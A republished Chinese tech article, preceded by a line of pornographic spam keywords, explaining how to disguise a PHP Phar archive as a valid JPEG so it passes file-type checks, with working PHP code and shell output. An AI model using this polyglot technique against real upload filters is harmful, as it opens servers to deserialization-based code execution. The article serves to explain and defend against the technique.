欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

攻擊者是如何將PHP Phar包偽裝成圖像以繞過文件類型檢測的(推薦)

 更新時間:2018年10月11日 09:58:59   作者:mss****  
這篇文章主要介紹了攻擊者是如何將PHP Phar包偽裝成圖像以繞過文件類型檢測的,需要的朋友可以參考下

在US BlackHat 2018大會上,安全人員證明,攻擊者不僅可以利用PHAR包發(fā)動RCE攻擊,而且,通過調(diào)整其二進制內(nèi)容,他們還可以將其偽裝成一幅圖像,從而繞過安全檢查。

在本文中,我們來看看第二點是如何做到的。

背景知識

在US BlackHat 2018大會期間,Sam Thomas召開了一個關(guān)于在PHP中利用 phar:// 流包裝器來實現(xiàn)針對服務器的代碼執(zhí)行攻擊的研討會( 幻燈片 )。

在運行PHAR包時,由于PHP會對其內(nèi)容進行反序列化,從而允許攻擊者啟動一個PHP對象包含鏈。其中,最有趣的部分在于如何觸發(fā)有效載荷:歸檔上的任何文件操作都將執(zhí)行它。最后,攻擊者根本無需關(guān)心文件名是否正確,因為即使是失敗的文件調(diào)用,PHP也會對其內(nèi)容進行反序列化處理。

此外,攻擊者完全可以將PHAR包偽裝成一幅圖像:在這篇文章中,我們將為讀者解釋他們是如何做到這一點的。

降至字節(jié)碼級別

有時我們會忘記這一點,那就是在機器眼里,文件只不過是一堆遵循預定義結(jié)構(gòu)的字節(jié)而已。對于應用程序而言,將檢查自己是否可以管理這樣的數(shù)據(jù)流,如果可以的話,就會生成相應的輸出。

在Thomas的演講中,曾提示如何創(chuàng)建具有有效JPEG頭部的PHAR包。

圖片引自Sam Thomas的幻燈片

不過,這里我們要做的是創(chuàng)建一個具有JPEG頭部的文件,并更新PHAR的校驗和。這樣一來,PHAR包一方面會被視為一個圖像,同時,PHP還可以繼續(xù)執(zhí)行它。

開始下手

聽起來,這里只需修改幾個字節(jié)并更新校驗,按說應該非常輕松,對吧?

然而,事實并非如此。

計算校驗和(至少對我來說)是一件讓人頭痛的事情。所以,我想:如果讓PHP來代勞的話,會怎樣呢?

所以,我對Thomas的原始劇本進行了一番改造,具體如下所示:

<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所見,這里將原始HEX字節(jié)添加到了PHAR存檔的存根部分。下面是原始HEX得到的結(jié)果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

這同時是一個合法的PHAR包,以及一幅合法的JPEG圖像嗎?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP將其視為一幅圖像,我們?nèi)匀豢梢蕴剿鞔鏅n的內(nèi)容。哈哈,好玩吧!

注意:請仔細查看存根部分,看看它是如何“跳過”開頭部分的PHP標記的。因為這里是繞過大多數(shù)內(nèi)容掃描程序的關(guān)鍵所在。對于存檔來說,是否有效的關(guān)鍵在于函數(shù) __HALT_COMPILER() ; 我認為,PHP會通過它來確定出應該“跳過”多少數(shù)據(jù)。

更進一步

到目前為止,我們制作的文件已經(jīng)可以通過任何基于文件頭的類型檢測了,但是,對于更高級的檢測方法來說,它就無能為力了。例如,使用 getimagesize 來檢查文件內(nèi)容是否為圖像的話,將返回false,因為它并不是一幅“真正”的圖像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,別忘了,我們可以在 __HALT_COMPILER() 標記之前填充任意的數(shù)據(jù)的,所以,如果我們在此填入一幅完整的圖像的話,會怎樣呢?于是,我花了大量的時間去研讀 JPEG規(guī)范 PHP源代碼 ,不過最后仍然沒有理出頭緒,所以,我果斷決定放棄——太復雜了。

那么,能否直接使用GIMP創(chuàng)建10x10黑色圖像并嵌入其中呢?

<?php
class TestObject {}
$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
 [0] =>
 int(10)
 [1] =>
 int(10)
 [2] =>
 int(2)
 [3] =>
 string(22) "width="10" height="10""
 'bits' =>
 int(8)
 'channels' =>
 int(3)
 'mime' =>
 string(10) "image/jpeg"
}

這次,我們?nèi)缭敢詢斄恕_@個文件不僅是一個包含我們想要利用的類的PHAR包,同時,它還是一幅合法的圖像(我們甚至可以用系統(tǒng)圖像查看器打開它):

小結(jié)

正如我們剛才看到的,文件實際上只是一堆字節(jié)而已:如果我們只是利用其元數(shù)據(jù)進行類型檢測的話,那么很可能會出錯:攻擊者可以輕松繞過檢測,并返回他們想要的文件類型。要想檢測文件類型,更加可靠的解決方案是直接讀取文件內(nèi)容并搜索惡意字符串。

相關(guān)文章

  • Python實現(xiàn)EM算法實例代碼

    Python實現(xiàn)EM算法實例代碼

    這篇文章主要給大家介紹了關(guān)于Python實現(xiàn)EM算法的相關(guān)資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2020-10-10
  • Scrapy框架實現(xiàn)的登錄網(wǎng)站操作示例

    Scrapy框架實現(xiàn)的登錄網(wǎng)站操作示例

    這篇文章主要介紹了Scrapy框架實現(xiàn)的登錄網(wǎng)站操作,結(jié)合實例形式分析了Scrapy登錄網(wǎng)站cookies方式、post請求方式登錄網(wǎng)站相關(guān)實現(xiàn)技巧,需要的朋友可以參考下
    2020-02-02
  • Python中的錯誤和異常處理簡單操作示例【try-except用法】

    Python中的錯誤和異常處理簡單操作示例【try-except用法】

    這篇文章主要介紹了Python中的錯誤和異常處理簡單操作,結(jié)合實例形式分析了Python中try except在錯誤與異常處理中的用法,需要的朋友可以參考下
    2017-07-07
  • Python裝飾器用法實例分析

    Python裝飾器用法實例分析

    這篇文章主要介紹了Python裝飾器用法,結(jié)合實例形式分析了帶參數(shù)裝飾器、無參數(shù)裝飾器等相關(guān)實現(xiàn)與使用技巧,需要的朋友可以參考下
    2019-01-01
  • Python+Selenium實現(xiàn)表單自動填充和提交

    Python+Selenium實現(xiàn)表單自動填充和提交

    你是不是也厭倦了每天重復表單填寫的工作,是時候讓技術(shù)來幫助我們解放雙手了,下面小編就為大家介紹一下如何使用Selenium和Python來自動填充和提交表單
    2023-09-09
  • 探索Python進度條魔法解密任務進展新玩法

    探索Python進度條魔法解密任務進展新玩法

    在日常編程和應用開發(fā)中,展示進度條是一種常見的技巧,不僅能夠提供用戶友好的體驗,還可以顯示任務執(zhí)行的進度,Python作為一種多才多藝的編程語言,提供了多種方法來創(chuàng)建進度條,本篇文章將深入探討這些方法,為您呈現(xiàn)各種實現(xiàn)進度條的技術(shù)和技巧
    2024-01-01
  • Pygame實戰(zhàn)練習之飛機大戰(zhàn)游戲

    Pygame實戰(zhàn)練習之飛機大戰(zhàn)游戲

    飛機大戰(zhàn)想必是很多人童年時期的經(jīng)典游戲,我們依舊能記得抱個老人機娛樂的場景,下面這篇文章主要給大家介紹了關(guān)于如何利用python寫一個簡單的飛機大戰(zhàn)小游戲的相關(guān)資料,需要的朋友可以參考下
    2021-09-09
  • python腳本設置超時機制系統(tǒng)時間的方法

    python腳本設置超時機制系統(tǒng)時間的方法

    這篇文章主要介紹了python腳本設置超時機制系統(tǒng)時間的方法,感興趣的小伙伴們可以參考一下
    2016-02-02
  • python?Seaborn繪制統(tǒng)計圖全面指南(直方圖散點圖小提琴圖熱力圖相關(guān)系數(shù)圖多張合并)

    python?Seaborn繪制統(tǒng)計圖全面指南(直方圖散點圖小提琴圖熱力圖相關(guān)系數(shù)圖多張合并)

    這篇文章主要介紹了python?Seaborn繪制統(tǒng)計圖全面指南,包括直方圖,散點圖,小提琴圖,熱力圖,相關(guān)系數(shù)圖及多張圖合并的實現(xiàn)示例,有需要的朋友可以借鑒參考下,希望能夠有所幫助
    2024-01-01
  • 教你利用pygame模塊制作跳躍小球小游戲

    教你利用pygame模塊制作跳躍小球小游戲

    pygame是一個專門設計來進行游戲開發(fā)設計的Python模塊,因為擺脫了被低級語言(如機器語言和匯編語言)的束縛,使用起來非常的簡單,這篇文章主要給大家介紹了關(guān)于如何利用pygame模塊制作跳躍小球小游戲的相關(guān)資料,需要的朋友可以參考下
    2021-08-08

最新評論